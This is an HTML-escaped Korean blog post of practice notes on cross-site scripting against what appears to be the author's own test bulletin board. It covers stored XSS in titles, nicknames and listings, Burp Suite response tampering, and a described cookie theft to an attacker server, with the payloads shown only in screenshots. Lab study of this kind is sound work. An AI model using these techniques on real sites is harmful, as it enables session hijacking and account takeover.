&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cZg9sW/dJMcaaR1s7m/qeYZKwKSNEkXkh49OKO15K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cZg9sW/dJMcaaR1s7m/qeYZKwKSNEkXkh49OKO15K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cZg9sW/dJMcaaR1s7m/qeYZKwKSNEkXkh49OKO15K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcZg9sW%2FdJMcaaR1s7m%2FqeYZKwKSNEkXkh49OKO15K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;460&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;① 본문&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1102&quot; data-origin-height=&quot;417&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nuZln/dJMcadnCbjz/XxN13TXALGmIX5hONvQCJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nuZln/dJMcadnCbjz/XxN13TXALGmIX5hONvQCJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nuZln/dJMcadnCbjz/XxN13TXALGmIX5hONvQCJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnuZln%2FdJMcadnCbjz%2FXxN13TXALGmIX5hONvQCJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1102&quot; height=&quot;417&quot; data-origin-width=&quot;1102&quot; data-origin-height=&quot;417&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;② 제목&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;664&quot; data-origin-height=&quot;639&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1FihA/dJMcab4qTWc/rRrEsJtiYMqdcj0WEjKL2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1FihA/dJMcab4qTWc/rRrEsJtiYMqdcj0WEjKL2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1FihA/dJMcab4qTWc/rRrEsJtiYMqdcj0WEjKL2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1FihA%2FdJMcab4qTWc%2FrRrEsJtiYMqdcj0WEjKL2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;664&quot; height=&quot;639&quot; data-origin-width=&quot;664&quot; data-origin-height=&quot;639&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;③ 닉네임&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1161&quot; data-origin-height=&quot;648&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPMl6z/dJMcadHUwBN/1onmtG1Lv40kyCTgX8NkuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPMl6z/dJMcadHUwBN/1onmtG1Lv40kyCTgX8NkuK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPMl6z/dJMcadHUwBN/1onmtG1Lv40kyCTgX8NkuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPMl6z%2FdJMcadHUwBN%2F1onmtG1Lv40kyCTgX8NkuK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1161&quot; height=&quot;648&quot; data-origin-width=&quot;1161&quot; data-origin-height=&quot;648&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;④ 검색창&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;763&quot; data-origin-height=&quot;498&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnvvMn/dJMcajg3ohm/gDI7cWSETrV7x37GADmeu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnvvMn/dJMcajg3ohm/gDI7cWSETrV7x37GADmeu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnvvMn/dJMcajg3ohm/gDI7cWSETrV7x37GADmeu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnvvMn%2FdJMcajg3ohm%2FgDI7cWSETrV7x37GADmeu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;763&quot; height=&quot;498&quot; data-origin-width=&quot;763&quot; data-origin-height=&quot;498&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⑤ URL&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이정도가 될거같음,,&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 본문, 제목은 스크립트 실행되는거 확인함!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트로 response값 바꿔서하는것두 된당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판에서 작성자도 조회되니까&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;닉네임을 script 태그로 만들면 어떨까 싶어서 시도해봤음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1272&quot; data-origin-height=&quot;1257&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQkA1m/dJMcaiibxT4/OCd47rajyzLFhaI99FrMxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQkA1m/dJMcaiibxT4/OCd47rajyzLFhaI99FrMxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQkA1m/dJMcaiibxT4/OCd47rajyzLFhaI99FrMxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQkA1m%2FdJMcaiibxT4%2FOCd47rajyzLFhaI99FrMxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1272&quot; height=&quot;1257&quot; data-origin-width=&quot;1272&quot; data-origin-height=&quot;1257&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1129&quot; data-origin-height=&quot;526&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lRWhW/dJMcaiibxUo/VivDGOkpgJEzVa2WEVU7NK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lRWhW/dJMcaiibxUo/VivDGOkpgJEzVa2WEVU7NK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lRWhW/dJMcaiibxUo/VivDGOkpgJEzVa2WEVU7NK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlRWhW%2FdJMcaiibxUo%2FVivDGOkpgJEzVa2WEVU7NK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1129&quot; height=&quot;526&quot; data-origin-width=&quot;1129&quot; data-origin-height=&quot;526&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프로 값 바꿔서 하는건 잘 됨!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애초에 회원가입할때 닉네임을 스크립트 태그로 하면 어케될까 싶어서 해봄&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인하면 원래 'ㅇㅇ님 안녕하세요!' 라고 떠야하는데 아무것도 안뜸&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 URL을 쳐서 글 작성 페이지로 들어가면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;905&quot; data-origin-height=&quot;536&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biKww7/dJMcahjjJ51/yEgoKYp4RRNY3k5uI5SxKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biKww7/dJMcahjjJ51/yEgoKYp4RRNY3k5uI5SxKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biKww7/dJMcahjjJ51/yEgoKYp4RRNY3k5uI5SxKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiKww7%2FdJMcahjjJ51%2FyEgoKYp4RRNY3k5uI5SxKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;905&quot; height=&quot;536&quot; data-origin-width=&quot;905&quot; data-origin-height=&quot;536&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 뜸 ㅜㅜ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;writeok.php를 쳐서 들어가니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;글 작성 성공 창이 뜨면서 게시판으로 보내주는데&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1185&quot; data-origin-height=&quot;723&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/H4din/dJMcabpRzTk/1jt8vUJrk10S8GfijPtMWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/H4din/dJMcabpRzTk/1jt8vUJrk10S8GfijPtMWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/H4din/dJMcabpRzTk/1jt8vUJrk10S8GfijPtMWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FH4din%2FdJMcabpRzTk%2F1jt8vUJrk10S8GfijPtMWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1185&quot; height=&quot;723&quot; data-origin-width=&quot;1185&quot; data-origin-height=&quot;723&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판이 이렇게 엉망 진창이 되어버렸다ㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL로 데이터 삭제해서 원상복구함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 스크립트 태그가 실행되니까 이런 결과가 나온거아닐까?!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;671&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bE7XTC/dJMcai3vxPe/XBbQkqyjqWxKPF5VFdI8H0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bE7XTC/dJMcai3vxPe/XBbQkqyjqWxKPF5VFdI8H0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bE7XTC/dJMcai3vxPe/XBbQkqyjqWxKPF5VFdI8H0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbE7XTC%2FdJMcai3vxPe%2FXBbQkqyjqWxKPF5VFdI8H0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;947&quot; height=&quot;671&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;671&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판도 intercept해서 alert창 띄우는거 다 가능함!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;번호, 작성자, 작성일, 조회수 등등 다 XSS 공격이 가능하다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1139&quot; data-origin-height=&quot;1109&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJfpu4/dJMcajah8r8/kjy8fCrKpTGNrQUKZmZrd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJfpu4/dJMcajah8r8/kjy8fCrKpTGNrQUKZmZrd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJfpu4/dJMcajah8r8/kjy8fCrKpTGNrQUKZmZrd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJfpu4%2FdJMcajah8r8%2Fkjy8fCrKpTGNrQUKZmZrd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1139&quot; height=&quot;1109&quot; data-origin-width=&quot;1139&quot; data-origin-height=&quot;1109&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일명을 바꿔도 alert창이 실행된다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1128&quot; data-origin-height=&quot;853&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHesGf/dJMcaiJdV05/cDfgmS7MDMUbZOdZJ4oUCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHesGf/dJMcaiJdV05/cDfgmS7MDMUbZOdZJ4oUCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHesGf/dJMcaiJdV05/cDfgmS7MDMUbZOdZJ4oUCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHesGf%2FdJMcaiJdV05%2FcDfgmS7MDMUbZOdZJ4oUCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1128&quot; height=&quot;853&quot; data-origin-width=&quot;1128&quot; data-origin-height=&quot;853&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;URL에는 스크립트 태그가 안먹힌다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1188&quot; data-origin-height=&quot;527&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFVuAu/dJMcac3jZrh/C6HRSB1qWuDy8bucOXL9Vk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFVuAu/dJMcac3jZrh/C6HRSB1qWuDy8bucOXL9Vk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFVuAu/dJMcac3jZrh/C6HRSB1qWuDy8bucOXL9Vk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFVuAu%2FdJMcac3jZrh%2FC6HRSB1qWuDy8bucOXL9Vk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1188&quot; height=&quot;527&quot; data-origin-width=&quot;1188&quot; data-origin-height=&quot;527&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검색창도 안먹힌당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reflected는 대체 어케하는걸까ㅜㅜ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 로그아웃하면 뜨는 alert 창을 버프스위트로 intercept해서 쿠키 탈취하기 해봤다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1112&quot; data-origin-height=&quot;1059&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/y79Sy/dJMb99S49es/gDOJ93icHOJzb68RyeZHQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/y79Sy/dJMb99S49es/gDOJ93icHOJzb68RyeZHQK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/y79Sy/dJMb99S49es/gDOJ93icHOJzb68RyeZHQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fy79Sy%2FdJMb99S49es%2FgDOJ93icHOJzb68RyeZHQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1112&quot; height=&quot;1059&quot; data-origin-width=&quot;1112&quot; data-origin-height=&quot;1059&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2559&quot; data-origin-height=&quot;1186&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckv4Gt/dJMcaaqWcCr/QAlRTBQKDZ3Uz7haEQQBbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckv4Gt/dJMcaaqWcCr/QAlRTBQKDZ3Uz7haEQQBbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckv4Gt/dJMcaaqWcCr/QAlRTBQKDZ3Uz7haEQQBbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fckv4Gt%2FdJMcaaqWcCr%2FQAlRTBQKDZ3Uz7haEQQBbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2559&quot; height=&quot;1186&quot; data-origin-width=&quot;2559&quot; data-origin-height=&quot;1186&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자 서버로 쿠키값이 들어온걸 확인할 수 있었당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;짱신기 ㅋ&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;script 말고도 할수있는게 머가있을까 싶어서 쭉 해봄&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1071&quot; data-origin-height=&quot;1117&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUZZNy/dJMcaflN7lE/MKzlCqfKCIBwV0x5pIkOBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUZZNy/dJMcaflN7lE/MKzlCqfKCIBwV0x5pIkOBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUZZNy/dJMcaflN7lE/MKzlCqfKCIBwV0x5pIkOBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUZZNy%2FdJMcaflN7lE%2FMKzlCqfKCIBwV0x5pIkOBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1071&quot; height=&quot;1117&quot; data-origin-width=&quot;1071&quot; data-origin-height=&quot;1117&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 걍 input태그도 들어가고요,,;;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;623&quot; data-origin-height=&quot;345&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmjERU/dJMcadBz5sW/31cUwrvEkyt9MURYvlOBL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmjERU/dJMcadBz5sW/31cUwrvEkyt9MURYvlOBL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmjERU/dJMcadBz5sW/31cUwrvEkyt9MURYvlOBL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcmjERU%2FdJMcadBz5sW%2F31cUwrvEkyt9MURYvlOBL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;623&quot; height=&quot;345&quot; data-origin-width=&quot;623&quot; data-origin-height=&quot;345&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제목에 alert태그를 넣어보쟈&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1039&quot; data-origin-height=&quot;459&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d0snIm/dJMcacW2yW6/AOYWOHa3dc6D7cFnYQJKC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d0snIm/dJMcacW2yW6/AOYWOHa3dc6D7cFnYQJKC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d0snIm/dJMcacW2yW6/AOYWOHa3dc6D7cFnYQJKC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd0snIm%2FdJMcacW2yW6%2FAOYWOHa3dc6D7cFnYQJKC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1039&quot; height=&quot;459&quot; data-origin-width=&quot;1039&quot; data-origin-height=&quot;459&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잘뜨네여&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1071&quot; data-origin-height=&quot;1103&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBPSwS/dJMcaaEXQPE/wHJ79PqKTiNBAfE85fmpT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBPSwS/dJMcaaEXQPE/wHJ79PqKTiNBAfE85fmpT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBPSwS/dJMcaaEXQPE/wHJ79PqKTiNBAfE85fmpT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBPSwS%2FdJMcaaEXQPE%2FwHJ79PqKTiNBAfE85fmpT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1071&quot; height=&quot;1103&quot; data-origin-width=&quot;1071&quot; data-origin-height=&quot;1103&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본문은 안됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리구 이상하게 수정/삭제 창이 안뜬다&lt;/p&gt;
